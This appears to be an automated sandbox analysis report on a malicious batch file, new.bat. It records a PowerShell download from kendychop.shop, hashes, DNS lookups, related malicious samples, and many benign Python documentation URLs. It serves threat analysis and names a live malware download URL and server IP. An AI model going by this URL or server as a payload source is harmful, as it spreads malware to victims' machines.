C:\Users\user\Downloads\Extracted\Python\Python312\Lib\copy.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\copyreg.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\crypt.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\csv.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\ctypes\__init__.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\ctypes\_aix.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\ctypes\_endian.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\ctypes\macholib\__init__.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\ctypes\macholib\dyld.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\ctypes\macholib\dylib.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\ctypes\macholib\fetch_macholib	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\ctypes\macholib\framework.py	0%	ReversingLabs

Source	Detection	Scanner	Label
https://bugs.python.org/issue?@action=redirect&bpo=4384	0%	Avira URL Cloud	safe
http://kendychop.shop:8930/bab.zipS	100%	Avira URL Cloud	phishing
https://bugs.python.org/issue?@action=redirect&bpo=5237	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0528/	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=35900	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=43882	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=32751	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=35904	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=33721	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=33725	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=30688	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=29235	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=32749	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0602/	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=1696199	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=33710	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0529/	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0526/	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=1230540	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=28238	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0538/	0%	Avira URL Cloud	safe
https://www.pypy.org/	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=6584	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=32972	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0634/	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=33818	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=30670	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0623/	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=30661	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=17239	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=34616	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=33407	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=29209	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=36917	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=32314	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=30262	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=35702	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=23831	0%	Avira URL Cloud	safe
https://pyyaml.org/	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=33530	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=21536	0%	Avira URL Cloud	safe
http://svn.red-bean.com/bob/macholib/trunk/macholib/	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=22640	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=35813	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=35810	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=34850	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=32430	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=32417	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=23722	0%	Avira URL Cloud	safe
https://infra.psf.io	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=27181	0%	Avira URL Cloud	safe
https://gunicorn.org/	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=32528	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=31553	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=34829	0%	Avira URL Cloud	safe

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
kendychop.shop	154.216.17.175	true	true	unknown
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	84.201.212.67	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Name	Source	Malicious	Antivirus Detection	Reputation
https://bugs.python.org/issue?@action=redirect&bpo=5237	3.1.html.17.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=35904	3.8.html.17.dr	false	Avira URL Cloud: safe	unknown
http://kendychop.shop:8930/bab.zipS	powershell.exe, 00000008.00000002.2356989594.000002E7D2410000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://bugs.python.org/issue?@action=redirect&bpo=32751	3.8.html.17.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=33721	3.8.html.17.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0528/	init_config.html.17.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=33725	3.8.html.17.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=35900	3.8.html.17.dr	false	Avira URL Cloud: safe	unknown
https://datatracker.ietf.org/doc/html/rfc4122.html	uuid.html.17.dr	false		high
https://bugs.python.org/issue?@action=redirect&bpo=43882	3.8.html.17.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/c-api/coro.html	coro.html.17.dr	false		high
https://bugs.python.org/issue?@action=redirect&bpo=4384	3.1.html.17.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/c-api/long.html	long.html.17.dr	false		high
https://github.com/python/cpython/blob/main/Doc/library/asyncio-sync.rst	asyncio-sync.html.17.dr	false		high
https://docs.python.org/3/search.html	search.html.17.dr	false		high
https://www.python.org/community/lists/	general.html.17.dr	false		high
https://docs.python.org/3.11/library/binascii.html#binascii.a2b_base64	base64.py.17.dr	false		high
https://g.live.com/odclientsettings/Prod.C:	svchost.exe, 0000000A.00000003.1758748642.00000224FE4EF000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000A.00000003.1758748642.00000224FE3FE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bugs.python.org/issue?@action=redirect&bpo=30688	3.8.html.17.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=32749	3.8.html.17.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/main/Doc/extending/embedding.rst	embedding.html.17.dr	false		high
https://bugs.python.org/issue?@action=redirect&bpo=29235	3.8.html.17.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0602/	general.html.17.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=33710	3.8.html.17.dr	false	Avira URL Cloud: safe	unknown
https://wiki.python.org/moin/IntegratedDevelopmentEnvironments	editors.html.17.dr	false		high
https://docs.python.org/	index.html8.17.dr	false		high
https://peps.python.org/pep-0529/	3.8.html.17.dr, unicode.html.17.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/genindex-S.html	genindex-S.html.17.dr	false		high
https://bugs.python.org/issue?@action=redirect&bpo=1696199	3.1.html.17.dr	false	Avira URL Cloud: safe	unknown
https://www.redhat.com	general.html.17.dr	false		high
http://docs.python.org/3/library/subprocess#subprocess.Popen.returncode	transports.py.17.dr	false		high
https://bugs.python.org/issue?@action=redirect&bpo=1230540	3.8.html.17.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=28238	3.8.html.17.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0526/	3.8.html.17.dr, ast.html.17.dr	false	Avira URL Cloud: safe	unknown
https://www.pypy.org/	introduction.html.17.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=32972	3.8.html.17.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0538/	init_config.html.17.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/genindex-Z.html	genindex-Z.html.17.dr	false		high
http://crl.ver)	svchost.exe, 0000000A.00000002.2957778158.00000224FE600000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mail.python.org/mailman3/lists/python-announce-list.python.org/	general.html.17.dr	false		high
https://peps.python.org/pep-0634/	typeobj.html.17.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=6584	3.8.html.17.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/tutorial/interpreter.html	interpreter.html.17.dr	false		high
https://docs.djangoproject.com/en/stable/topics/logging/#configuring-logging	logging-cookbook.html.17.dr	false		high
https://bugs.python.org/issue?@action=redirect&bpo=33818	3.8.html.17.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=30661	3.8.html.17.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/main/Doc/library/xml.sax.handler.rst	xml.sax.handler.html.17.dr	false		high
https://github.com/pygments/pygments/issues	cmdline.py.17.dr	false		high
https://www.python.org/doc/versions/	index.html8.17.dr	false		high
https://bugs.python.org/issue?@action=redirect&bpo=17239	3.8.html.17.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0623/	unicode.html.17.dr, 3.12.html.17.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=30670	3.8.html.17.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/main/Doc/library/asyncio-policy.rst	asyncio-policy.html.17.dr	false		high
https://wiki.python.org/moin/PythonBooks	general.html.17.dr	false		high
https://bugs.python.org/issue?@action=redirect&bpo=29209	3.8.html.17.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=33407	3.8.html.17.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=36917	3.8.html.17.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/library/asyncio-api-index.html	asyncio-api-index.html.17.dr	false		high
https://docs.python.org/3/whatsnew/3.8.html	3.8.html.17.dr	false		high
https://mail.python.org/mailman3/lists/python-dev.python.org/	general.html.17.dr	false		high
https://bugs.python.org/issue?@action=redirect&bpo=32314	3.8.html.17.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/main/Doc/library/codeop.rst	codeop.html.17.dr	false		high
https://bugs.python.org/issue?@action=redirect&bpo=34616	3.8.html.17.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=35702	3.8.html.17.dr	false	Avira URL Cloud: safe	unknown
https://pyyaml.org/	3.1.html.17.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=33530	3.8.html.17.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/tree/3.12/Lib/unittest/mock.py	unittest.mock.html.17.dr	false		high
https://bugs.python.org/issue?@action=redirect&bpo=23831	3.8.html.17.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=30262	3.8.html.17.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=21536	3.8.html.17.dr	false	Avira URL Cloud: safe	unknown
http://svn.red-bean.com/bob/macholib/trunk/macholib/	README.ctypes.17.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/tree/3.12/Lib/xml/sax/handler.py	xml.sax.handler.html.17.dr	false		high
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/tools/perf/Documentation/jit	perfmaps.html.17.dr	false		high
https://github.com/python/cpython/issues/83743	3.8.html.17.dr	false		high
https://github.com/python/cpython/blob/main/Doc/library/asyncio-api-index.rst	asyncio-api-index.html.17.dr	false		high
https://bugs.python.org/issue?@action=redirect&bpo=22640	3.8.html.17.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=35810	3.8.html.17.dr	false	Avira URL Cloud: safe	unknown
https://github.com/pypa/pip/pull/3514	req_file.cpython-312.pyc.17.dr	false		high
https://bugs.python.org/issue?@action=redirect&bpo=35813	3.8.html.17.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=34850	3.8.html.17.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=32430	3.8.html.17.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=23722	3.8.html.17.dr	false	Avira URL Cloud: safe	unknown
https://github.com/python/cpython/blob/main/Doc/c-api/unicode.rst	unicode.html.17.dr	false		high
https://github.com/python/cpython/blob/main/Doc/c-api/capsule.rst	capsule.html.17.dr	false		high
https://www.python.org/doc/av/	index.html8.17.dr	false		high
https://docs.python.org/3/library/xml.sax.handler.html	xml.sax.handler.html.17.dr	false		high
https://bugs.python.org/issue?@action=redirect&bpo=32417	3.8.html.17.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org	whatnow.html.17.dr	false		high
https://docs.python.org/3/using/unix.html	unix.html0.17.dr	false		high
https://infra.psf.io	general.html.17.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=27181	3.8.html.17.dr	false	Avira URL Cloud: safe	unknown
https://pypi.org/project/mock	unittest.mock.html.17.dr	false		high
https://github.com/python/cpython/blob/main/Doc/faq/general.rst	general.html.17.dr	false		high
https://github.com/python/cpython/blob/main/Doc/library/audit_events.rst	audit_events.html.17.dr	false		high
https://github.com/python/cpython/tree/3.12/Lib/asyncio/locks.py	asyncio-sync.html.17.dr	false		high
https://ark.intel.com/content/www/us/en/ark/products/76088/intel-core-i7-4960hq-processor-6m-cache-u	3.8.html.17.dr	false		high
https://gunicorn.org/	logging-cookbook.html.17.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=32528	3.8.html.17.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=34829	3.8.html.17.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=31553	3.8.html.17.dr	false	Avira URL Cloud: safe	unknown

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1555979
Start date and time:	2024-11-14 18:23:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 23s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	new.bat
Detection:	MAL
Classification:	mal76.spre.troj.winBAT@34/1081@2/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 1 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .bat

Time	Type	Description
12:24:06	API Interceptor	2x Sleep call for process: svchost.exe modified
12:24:10	API Interceptor	81x Sleep call for process: powershell.exe modified
12:24:16	API Interceptor	2x Sleep call for process: AcroCEF.exe modified
12:25:33	API Interceptor	1920x Sleep call for process: conhost.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
154.216.17.175	new.bat	Get hash	malicious	Unknown	Browse	kendychop.shop:9135/bab.zip
	txt2.bat	Get hash	malicious	Unknown	Browse	kendychop.shop:9135/bab.zip
	txt.bat	Get hash	malicious	Unknown	Browse	kendychop.shop:9135/bab.zip

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	https://url.us.m.mimecastprotect.com/s/7XsKCQWmqkh6El9PsPhEHGZMGK?domain=hbgone.docdroid.com	Get hash	malicious	Unknown	Browse	217.20.57.22
	JD & Application Form_A (910).zip	Get hash	malicious	Unknown	Browse	84.201.210.34
	https://www.patrimoine-commerce.com/	Get hash	malicious	Unknown	Browse	217.20.57.39
	http://weststoneltd.technolutionszzzz.net	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	217.20.57.36
	http://u48113141.ct.sendgrid.net/	Get hash	malicious	Unknown	Browse	84.201.210.20
	FW Cardenas Leslie shared Mathis IDS Remittance Copy with you.msg	Get hash	malicious	Unknown	Browse	217.20.57.36
	https://www.google.co.th/url?q=sf_rand_string_uppercase(33)uQiApLjODz3yh4nNeW8uuQi&rct=XS%25RANDOM4%25wDnNeW8yycT&sa=t&esrc=nNeW8F%25RANDOM3%C2%A0xys8Em2FL&source=&cd=tS6T8%25RANDOM3%25Tiw9XH&cad=XpPkDfJX%25RANDOM4%25VS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%69%75%2E%6B%75%77%75%31%2E%73%61%2E%63%6F%6D%2F%67%6F%67%65%74%2F%74%65%65%64%2F%67%65%68%2Fsf_rand_string_mixed(24)/toto@yahoo.fr	Get hash	malicious	Unknown	Browse	217.20.57.35
	http://duckduckgogg42xjoc72x3sjasowoarfbgcmvfimaftt6twagswzczad.onion	Get hash	malicious	Unknown	Browse	217.20.57.18
	EUFOvMxM2H.exe	Get hash	malicious	Meduza Stealer, PureLog Stealer, RedLine, zgRAT	Browse	84.201.210.39
	Scan_7341292.pdf	Get hash	malicious	HTMLPhisher	Browse	217.20.57.34
bg.microsoft.map.fastly.net	https://url.us.m.mimecastprotect.com/s/7XsKCQWmqkh6El9PsPhEHGZMGK?domain=hbgone.docdroid.com	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://ctrk.klclick.com/l/01JCNJ0H48YX46QX141C2JGKTY_0	Get hash	malicious	HTMLPhisher	Browse	199.232.214.172
	https://2storageaccounterm67.z13.web.core.windows.net/Win08Ay0Er08d8d77/index.html#	Get hash	malicious	TechSupportScam	Browse	199.232.214.172
	https://neveshost.com.br/molkdp/BWjGZ/Y2hhcmxlcy5mZXJyeUBicmV3aW4uY28udWs=	Get hash	malicious	HTMLPhisher	Browse	199.232.210.172
	24655384440057092.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	https://www.patrimoine-commerce.com/	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://www.anwesso.com/link.php?link=3D78_02_04_79_88_2B016-4C-01-3D9662EEC8D094AFED274D8E17627986-06D38F7B48CB30B897	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://www.softwareaktion.com/kostenloser-vergleich	Get hash	malicious	Unknown	Browse	199.232.214.172
	PO-341999-PDF.exe	Get hash	malicious	AsyncRAT	Browse	199.232.214.172
	http://xoilacxd.cc	Get hash	malicious	Unknown	Browse	199.232.214.172
kendychop.shop	new.bat	Get hash	malicious	Unknown	Browse	154.216.17.175
	txt2.bat	Get hash	malicious	Unknown	Browse	154.216.17.175
	txt.bat	Get hash	malicious	Unknown	Browse	154.216.17.175

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SKHT-ASShenzhenKatherineHengTechnologyInformationCo	mips.elf	Get hash	malicious	Mirai	Browse	156.241.11.76
	mpsl.elf	Get hash	malicious	Mirai	Browse	156.254.70.174
	arm4.elf	Get hash	malicious	Mirai	Browse	156.230.19.167
	17315685090dcee4037f17ce33a7194fcbb024dc89b01756f06f9a965f66da9d4d9b33569e290.dat-decoded.exe	Get hash	malicious	Remcos	Browse	154.216.18.186
	SWIFT 103 202414111523339800 111124.pdf.vbs	Get hash	malicious	Remcos	Browse	154.216.18.186
	dlr.arm6.elf	Get hash	malicious	Mirai, Okiru	Browse	154.216.18.27
	dlr.x86.elf	Get hash	malicious	Mirai, Okiru	Browse	154.216.18.27
	dlr.mips.elf	Get hash	malicious	Mirai, Okiru	Browse	154.216.18.27
	dlr.mpsl.elf	Get hash	malicious	Mirai, Okiru	Browse	154.216.18.27
	dlr.arm7.elf	Get hash	malicious	Mirai, Okiru	Browse	154.216.18.27

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073735874005536
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrm:KooCEYhgYEL0In
MD5:	4A1BC3EF2413AF84D5AC432EF933B87A
SHA1:	4708470968BF0485531F466250BB8D21F856FF9C
SHA-256:	29639C857DE316FF583F7E09467584EA241FDCBC583A8687558B52357C83372D
SHA-512:	AA6BBBBB8084F1DBD1215CD330E900BCFB6D981535391737391C6F7A07B72314F914AC339F2BF350563A14513619D2518418C2B12C91E066F6A5101CD55FB0E0
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.161006274893278
Encrypted:	false
SSDEEP:	6:HU6LSQ+q2Pwkn2nKuAl9OmbnIFUt8YU6HggZmw+YU6HgQVkwOwkn2nKuAl9Ombjd:YVvYfHAahFUt8Bg/+BI5JfHAaSJ
MD5:	ADFD267453F5C3F24C7E0613ADFFE15A
SHA1:	49EFF3405AE8F0E9F74B186E8496BFD3592E500A
SHA-256:	182706FBAC8139CFC86738039E8B195E0B291B408D6B14368CA47C78D9DB90E9
SHA-512:	6C9F6A665A06D8A1912E75401117AEA47FD61B4339000C339214A66F08DA83A42E2F123A2FC62C517EB13200C49373E9A733F69EE604DD11A4010FDF1B9A49CD
Malicious:	false
Preview:	2024/11/14-12:24:07.037 d08 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/11/14-12:24:07.044 d08 Recovering log #3.2024/11/14-12:24:07.044 d08 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	26604
Entropy (8bit):	5.053883819182895
Encrypted:	false
SSDEEP:	768:CinHzwiNKe+NZotAHk4VlOdB5cCYoUV3IpNBQkj29YQhj9ardFwOkMx:CinHzwiNKeLtAHk4VlOdB5cCYoUV3CNT
MD5:	7BB845A66FBC67C74AF32B48E35AC529
SHA1:	654F71D7B8EEF31D6DEFD3C5C9301DD88C7CC0B7
SHA-256:	03BCB325459833E54C43C7ACD18061CEBB288BC23E5310247CDD6F9AABB7C285
SHA-512:	A9D660C3DBB2EAE24BD1F4F0FEE60F697975839DDA07EA8E60061CE89190983464F32C3505587C5122E898A7C173E1AD97143C2D7FD414EDA78094AAEDCAB898
Malicious:	false
Preview:	PSMODULECACHE.(.......z..I...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender\Defender.psd1........Add-MpPreference........Get-MpThreatCatalog........Get-MpThreat........Update-MpSignature........Remove-MpPreference........Get-MpPreference........Get-MpThreatDetection........Set-MpPreference........Get-MpComputerStatus........Start-MpScan........Start-MpWDOScan........Remove-MpThreat.........wMk.z..K...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1........Clear-BitLockerAutoUnlock........Lock-BitLocker........Backup-BitLockerKeyProtector........Resume-BitLocker........Disable-BitLockerAutoUnlock....!...BackupToAAD-BitLockerKeyProtector........Add-BitLockerKeyProtector........Unlock-BitLocker........Enable-BitLockerAutoUnlock........Disable-BitLocker........Remove-BitLockerKeyProtector........Enable-BitLocker........Suspend-BitLocker........Get-BitLockerVolume........@.8o.z..q...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerSh

File type:	DOS batch file, ASCII text, with CRLF line terminators
Entropy (8bit):	5.273263140107577
TrID:
File name:	new.bat
File size:	3'790 bytes
MD5:	7beab083b693d130619219e056fe9f10
SHA1:	653da09ccd0ae616a476ad1c49eab4e6e6569abd
SHA256:	3ba67ff051ccbe3e60a5e3299efc94b852b2edcad367e362eec201731b51b2fe
SHA512:	bece38c9622781a3df72a62f339ab5e31bccdefdd7e9d9f609de56173bdb8ea127c0935d47bf89367ba1e9c9a855191ea5a3824928ec6f71bb1591506fecbe7c
SSDEEP:	96:MDONgDQ/og6JgHqmgGM5olTr6rHKjKHUEeW05qy:MDpDQog6JgHqmYE5j
TLSH:	4071969324DB6030497292F7762C02E0F80997AF6744284636F0C8A479B97EEC6E56DF
File Content Preview:	@echo off..setlocal....:: Function to search for and open a PDF file in the Downloads folder..echo Searching for PDF files in the Downloads folder.....set "pdfFile="..for %%f in ("%USERPROFILE%\Downloads\*.pdf") do (.. set "pdfFile=%%f".. goto :open

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 14, 2024 18:24:13.653031111 CET	192.168.2.4	1.1.1.1	0xd273	Standard query (0)	kendychop.shop	A (IP address)	IN (0x0001)	false
Nov 14, 2024 18:24:16.347486019 CET	192.168.2.4	1.1.1.1	0xfbb3	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 14, 2024 18:24:13.798940897 CET	1.1.1.1	192.168.2.4	0xd273	No error (0)	kendychop.shop		154.216.17.175	A (IP address)	IN (0x0001)	false
Nov 14, 2024 18:24:16.355669022 CET	1.1.1.1	192.168.2.4	0xfbb3	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 14, 2024 18:24:17.371485949 CET	1.1.1.1	192.168.2.4	0x58f5	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 14, 2024 18:24:17.371485949 CET	1.1.1.1	192.168.2.4	0x58f5	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.212.67	A (IP address)	IN (0x0001)	false
Nov 14, 2024 18:24:17.371485949 CET	1.1.1.1	192.168.2.4	0x58f5	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.211.24	A (IP address)	IN (0x0001)	false
Nov 14, 2024 18:24:17.371485949 CET	1.1.1.1	192.168.2.4	0x58f5	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.212.68	A (IP address)	IN (0x0001)	false
Nov 14, 2024 18:24:17.371485949 CET	1.1.1.1	192.168.2.4	0x58f5	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.211.35	A (IP address)	IN (0x0001)	false
Nov 14, 2024 18:24:17.371485949 CET	1.1.1.1	192.168.2.4	0x58f5	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.211.22	A (IP address)	IN (0x0001)	false
Nov 14, 2024 18:25:07.292005062 CET	1.1.1.1	192.168.2.4	0xe70b	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Nov 14, 2024 18:25:07.292005062 CET	1.1.1.1	192.168.2.4	0xe70b	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

Timestamp	Bytes transferred	Direction	Data
